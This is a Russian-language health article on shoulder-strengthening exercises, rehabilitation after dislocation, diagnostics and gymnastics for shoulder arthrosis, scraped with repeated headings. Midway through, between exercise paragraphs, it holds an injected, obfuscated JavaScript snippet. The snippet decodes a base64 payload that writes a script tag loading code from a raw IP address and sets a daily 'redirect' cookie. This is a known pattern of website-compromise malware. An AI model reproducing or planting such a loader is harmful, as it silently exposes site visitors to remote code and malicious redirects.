Выполняем упражнения для укрепления плечевого сустава

Чтобы избежать травм, начните с низкого сопротивления в силовых тренировках. При использовании гантель вы можете постепенно увеличивать вес, как становиться сильнее.

Упражнения стоя

  1. Руки положить на колени. Затем распрямиться и раскинуть руки по сторонам. Упражнение повторять пять раз.
  2. Потихоньку поднимать руки, делая круговые движения вовне. Подняв их на уровень плеч, начать постепенное снижение, делая круговые движения внутрь. Вернувшись в первоначальную позицию, таким же способом опять поднять их до высоты плечевого пояса и завести за спину. Повторять упражнение дважды.
  3. Положение ног установить на ширину плеч. Положение правой руки – впереди, левой – сзади. Маховыми движениями менять позицию рук до десяти раз, держа руки расслабленными.
  4. Походить одну минуту на месте, широко размахивая руками.
Упражнения стоя

Обороты наружу

Для начала нужно приобрести резиновый эспандер для выполнения самых разнообразных упражнений.

Обороты наружу
  1. Повесьте эспандер на большой предмет мебели, на той же высоте, что и ваши локти.
  2. Станьте рядом с ним и потянитесь с противоположной стороны, чтобы схватить его рукой и потянуть перед собой.
  3. Поставьте локоть под 90 градусов, при этом прижимая руку плотно к боку, будто держите карандаш под мышкой.
  4. Вернитесь в сторону от эспандера с помощью короткого движения.
  5. Выполните три подхода по 15 повторений на каждую сторону.

Какие преимущества дает растяжка плеч

Большая часть мышц, задействованная в ходе движений плечевым поясом, расположена по всей спине. Все болевые ощущения в области головы, шеи, груди, плеч, лопаток чаще всего являются результатом зажатости плечевых мышц. Растяжка делает мышцы гибкими, подвижными и более сильными.

Также выполнение упражнений на растяжку плечевого пояса способствует более активному наращиванию мышечной массы для спортсменов. Для остальных людей уменьшает риск получения травм при резких движениях и поворотах.

Уже в младшем школьном возрасте важно практиковать растяжку спины, шеи и плеч в связи с тем, что дети много времени проводят в положении сидя за партой. То же касается и взрослых людей, чьи профессии не подразумевают частого передвижения тела и оказывают не самое положительное влияние на осанку, спину и позвоночник.

Лечебная гимнастика (завершающие упражнения)

И закончим нашу гимнастику небольшим комплексом из упражнений по методике доктора Евминова:

  1. Садимся на стул, конечности ставим в пояс и расслабляем их. После плавно и медленно совершаем круговые движения почасовой, а потом против часовой стрелки всем плечевым поясом. Продолжительность движений по полторы минуты в каждую сторону.
  2. В таком же положении, как и в прошлом упражнении, по максимуму нужно расслабить плечевые суставы. Отводим их назад, напрягая мышечную ткань, а после сводим их перед грудью. Очень осторожно и медленно. Повторяем семь раз, как и следующие действия.
  3. Сидим на стуле, кладем кисть здоровой конечности на больной локоть, а вторая кисть на противоположное плечо. Расслабляемся и медленно тянем больную руку вверх, аккуратно придерживаем локоть (нельзя отрывать его от туловища). Зафиксируем положение руки на десять сек. и возвращаемся в первоначальное положение. Упражнение направлено на отведение плечевого сустава на максимальную амплитуду при напряженной мышечной ткани. Боли не должно наблюдаться.
  4. Ложимся и отводим конечность вбок, поднимая ее на небольшую высоту. В напряженном состоянии держим так руку десять секунд и опускаем. Плечевое сочленение находится на краю кровати, кисть повернута вверх.

Все упражнения рекомендуется согласовать с лечащим врачом, прежде чем вводить их в ежедневную гимнастику.

Укрепление плечевого пояса

Упражнения для мышц плечевого пояса очень важны каждому человеку, не только тому, кто занимается спортом. Укрепление плечевого сустава поможет предотвратить различные травмы и патологии, улучшит подвижность и силу рук. Для этого заниматься лучше на тренажерах, но нужного эффекта можно добиться в домашних условиях, используя только вес тела, иногда – гантели. Если используется отягощение, сначала упражнения для рук и плеч выполняются медленно, с минимальной нагрузкой.

Укрепление мышц плеча необходимо для профилактики травм, повышения эффективности спортивных тренировок. Их можно делать самостоятельно, включать в еженедельный комплекс упражнений на плечи или же использовать в качестве разминки перед силовой тренировкой. Очень важны они в бодибилдинге, плавании, теннисе и других видах спорта, в которых большая нагрузка приходится на плечевой пояс.

Растягивание эспандера через стороны хорошо укрепляет мышцы плечевого пояса

Начинать упражнения для плечевого сустава можно с вращения выпрямленными перед собой прямыми руками. Для повышения эффективности нужно держать в них нетяжелую гантель или медицинский мяч. Хорошую нагрузку на плечевые мышцы дает эспандер. На него нужно наступить посередине ногами, держа рукоятки в опущенных руках. На выдохе медленно поднимать руки вверх, пытаясь добиться их соединения над головой. В тренажерном зале можно делать эффективное упражнение на заднюю дельту плеча – тягу верхнего блока к лицу. Она прорабатывает все дельтовидные мышцы, а также многие мелкие мышцы плечевого пояса и спины.

Упражнения

Вначале необходимо размяться. Для этого в положении стоя, ноги стоят на ширине плеч, а руки вытянуты вдоль тела, делают вращение вытянутыми руками по 15 раз в каждую сторону. Руки сжимают в кулаки и начинают медленное вращение в плечевых суставах по кругу.

Далее следует такой комплекс:

  • Положение – ноги не широко расставлены, руки опущены вниз. Ладонь правой руки кладется на левое плечо, а левой – на правое. Движение напоминает крепкие  объятия, при этом, локти должны стремиться вверх, а пальцы – к позвоночнику. Затем нужно ослабить хватку и повторить упражнение еще 7 раз.
  • Нужно стать около спинки стула, поставив ноги на ширине плеч. Затем наклониться, взявшись за спинку. Плечи необходимо тянуть вниз, а руки при этом держать прямыми. Повторить 8 раз.
  • Ноги не широко расставлены. Правая рука сгибается в локте, при этом локоть стремится вверх, а пальцы руки пытаются коснуться лопатки. Левая рука помогает пальцам правой, легко надавливая на локоть, продвинуться еще ниже. После этого руки нужно поменять. Выполнить упражнение четыре раза.
  • Также, стоя, ноги расставлены, необходимо давить левой рукой на локоть правой, так чтобы она лучше охватила левое плечо. Усилия должны быть умеренными во избежание растяжения. Далее руки меняют и повторяют прием по 4 раза для каждой руки.
  • Стоя, руки заводят за спину и сгибают в локтях. При этом кисть левой руки должна касаться локтя правой. Левой рукой подталкивают локоть правой и возвращают локоть обратно. Повторяют для обеих рук по 8 раз.
Упражнения
  • Положение должно быть таким же, как и в предыдущем упражнении. Разница в том, что нужно не давить на локоть противоположной руки, а стараться развести плечи как можно шире, а локти наоборот приблизить друг к другу. Сделать так 8 раз.
  • В вытянутых вверх руках сжимают полотенце. Нужно стараться отвести руки назад, оставляя их прямыми, натягивая полотенце. Повторить еще 5 раз.
Читайте также:  Диагностика остеопороза: список анализов, цена

Такую зарядку нужно производить аккуратно, следя за тем, чтобы мышцы не испытывали излишнего напряжения. function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Чем поможет ЛФК?

Лечебную гимнастику применяют на самом ответственном этапе реабилитации – восстановлении функциональности сустава. Но некоторые упражнения необходимо начать выполнять еще в период покоя. Сразу после вывиха плеча ЛФК заключается в разработке мышц кисти и предплечья. Это позволит им не атрофироваться за период фиксации плечевого сустава.

В первые дни после снятия фиксирующей повязки у пациента наблюдается защитное рефлекторное напряжение в мышцах. Возникает оно из-за подсознательного страха, что сустав снова выпадет. Поэтому в этот период разрешается выполнять движения только с использованием тканевой косынки. Гимнастика состоит из поднятия и опускания предплечья, сведения и разведения лопаток, круговых движений плечевым суставом и других несложных упражнений. При этом исключены махи и другие резкие движения. Ранний постиммобилизационный период обычно продолжается 10-20 дней.

Чем поможет ЛФК?

Далее наступает поздний постиммобилизационный период, который может продолжаться до 1,5 месяцев. Здесь акцент делается на укрепление мышц, а также увеличение амплитуды движений за счет растяжки. Упражнения на растяжение при вывихе плеча необходимо делать крайне аккуратно, чтобы тянулись мышцы, но не повредилась еще неокрепшая суставная капсула. К концу периода рекомендуется выполнять упражнения с дополнительным отягощением или эластичным эспандером.

Общий период восстановления с момента получения травмы составляет около 3 месяцев. Однако для спортсменов и лиц, работа которых связана с нагрузками на руки, реабилитация может быть продлена до полугода, так как восстановлению подлежит большее количество функций.

Диагностика

Для уточнения и постановки диагноза нужно обратиться к травматологу. Доктор проведет полноценный осмотр, соберет данные и при возникновении необходимости направит на обследование.

Для диагностики растяжений связок могут использовать:

  1. Рентгенологическое обследование. Этот метод наиболее распространен на практике. С его помощью можно достоверно установить наличие перелома, вывиха или других патологических состояний.
  2. МРТ. Такое исследование проводят достаточно редко, но посредством этого метода мягкие ткани просматриваются послойно. В этом случае врач может не только обнаружить повреждение, но и точно установить его степень.
  3. Артрография. Посредством такого исследования точно определяются даже незначительные повреждения сустава. Этот метод подразумевает под собой введение контрастного вещества в полость сустава.
  4. Артроскопия. Это метод щадящего хирургического вмешательства, который применяется специалистами в крайне тяжелых случаях. При этом проводится исследование поврежденной области и лечение, которое включает в себя удаление излишков крови, скапливающихся в суставе.
  5. УЗИ. Это исследование проводится для оценивания целостности связок плеча.
Диагностика

Поскольку растяжения плеча нередко сопровождаются полным разрывом тканей, трещинами и переломами костей, даже при смутном подозрении на травму необходимо как можно скорее обратиться за медицинской помощью.

Без адекватного лечения процесс заживления занимает гораздо больше времени, связки и мышцы в ряде случаев срастаются неправильно. Как результат, функциональность плечевого сустава восстанавливается не полностью, а риск повторных травм увеличивается.

Описание и видео упражнений при артрозе плечевого сустава

Правильно подобранный комплекс упражнений является одной из важных составляющих медицинской помощи при артрозе плечевого сустава. Это крайне неприятное заболевание, которое может приводить к постоянным подвывихам плеча с последующей атрофией околосуставных мышц. Поэтому важно не только прибегать к медикаментозному лечению, но и постоянно заниматься укреплением мышечной и костной ткани пояса верхних конечностей.

Описание и видео упражнений при артрозе плечевого сустава

Правила проведения лечебного комплекса физкультуры

Деструктивного-дегенеративный процесс в хрящевой ткани плеча может приносить массу неприятных ощущений. Прежде всего, к ним относятся:

Описание и видео упражнений при артрозе плечевого сустава
  • острые боли;
  • повышенная температура;
  • высокое артериальное давление.

При таких показателях возможно исключительно медикаментозное лечение, которое переводит болезнь в стадию ремиссии. Только после этого можно приступать к выполнению несложных упражнений, направленных на укрепление плечевого пояса.

Описание и видео упражнений при артрозе плечевого сустава

Важно! Нельзя предпринимать попыток провести физкультуру в острый период течения болезни. Это может усугубить ситуацию и усилить проявления регресса.

Читайте также:  Можно ли заниматься спортом при остеохондрозе поясницы

Существуют некоторые особенности выполнения ЛФК при артрозе плечевого сустава:

Описание и видео упражнений при артрозе плечевого сустава
  • Лечебные упражнения может назначить только квалифицированный специалист – врач-вертебролог или кинезиотерапевт.
  • Не стоит брать на себя большую нагрузку при выполнении упражнений.
  • Терпеть боль в плече во время зарядки нельзя. Лучше подождать какое-то время либо заменить упражнение. Обязательно надо поставить лечащего врача в известность.
  • Лучше выполнять меньше упражнений, но делать это регулярно. Как известно, именно микродвижения способствуют активизации обмена веществ в хрящевой ткани.
  • Зарядкой можно заниматься в любое время суток, 2-3 раза в день по 10-15 мин.

Отличным вспомогательным материалом для проведения лечебной гимнастики в домашних условиях являются видео, на которых показаны разработки лучших специалистов данной области медицины.

Описание и видео упражнений при артрозе плечевого сустава

Описание упражнений с видеопримерами

Гимнастика при артрозе плечевого сустава предполагает нетрудные движения, которые под силу выполнять пожилым или сильно ослабленным людям. Чтобы лучше понять, как нужно выполнять гимнастику, можно посмотреть видео лечебного комплекса. Прежде всего, ЛФК составляют статические упражнения, которые выполняются как сидя, так и стоя:

[3]

Описание и видео упражнений при артрозе плечевого сустава
  • Ладонями упереться в стену и на вдохе мягко давить на нее несколько секунд. Выдохнуть и расслабиться.
  • Повернувшись спиной к стене, упереться в нее ладонями. Одновременно стараться оттолкнуться от нее и удержаться в исходном положении.
  • Удерживать больное предплечье противоположной рукой и стараться отвести его в сторону.
  • Соединить ладони перед собой, на вдохе давить ими друг на друга. То же самое проделать кулаками.
  • Поставить локоть больной руки на стол, другой рукой удерживать ее и не давать опуститься в сторону.
  • Выполнять маятниковые движения повисшими вниз руками.
  • Стараться забросить больную руку на здоровое плечо.

Такая физкультура эффективно снимает боль и улучшает двигательную функцию сустава.

Описание и видео упражнений при артрозе плечевого сустава

Видео полного комплекса изометрических упражнений при артрозе плеча.

Динамические движения проводятся в период ремиссии и значительно укрепляют соединительные ткани плечевого сустава. К таким упражнениям относятся следующие движения:

Описание и видео упражнений при артрозе плечевого сустава
  1. Стоя, аккуратно поднимать плечи к ушным раковинам и опускать их обратно.
  2. Двигать плечами вперед и назад, раздвигая и сводя вместе лопатки.
  3. Соединить пальцы обеих рук сзади на уровне лопаток.

Весь комплекс будет занимать в среднем 10 минут за сеанс, а пользу принесет большую.

Описание и видео упражнений при артрозе плечевого сустава

Более полный комплекс представлен на видео.

При столкновении с таким недугом, как плечевой остеоартроз, следует пересмотреть свои привычки и образ жизни. Зачастую к такому печальному итогу приходят люди, ведущие малоподвижный образ жизни, обладающие повышенным весом и употребляющие в пищу малое количество полезных веществ. Поэтому устранение всех неблагоприятных факторов, повлияет на качество жизни, а также на состояние суставов.

Как известно, движение – это жизнь, поэтому систематическая гимнастика при артрозе плечевого сустава поможет устранить недуг. А здоровый образ жизни подарит позитивные эмоции и подтянутое тело.

Мы будем очень благодарны, если вы оцените ее и поделитесь в социальных сетях

Первая помощь

Первая помощь при вывихе плечевого сустава заключается в снижении двигательной активности в пораженной области, устранении травмирующего фактора и своевременном обращении за помощью к врачу.

При подозрении на вывих нужно принять такие меры:

Обеспечить покой сустава – полностью отказаться от двигательной активности. Для этого применяется специальная повязка при вывихе плечевого сустава. Приложить лед или другой холод – это поможет снизить воспаление и отечность тканей. Вызвать врача.

Категорически не рекомендуется самостоятельно вправлять вывих. Без адекватной помощи сделать это очень сложно.

Помимо этого, данная мера может спровоцировать повреждение мышц, сосудов и нервов, которые находятся в этой области.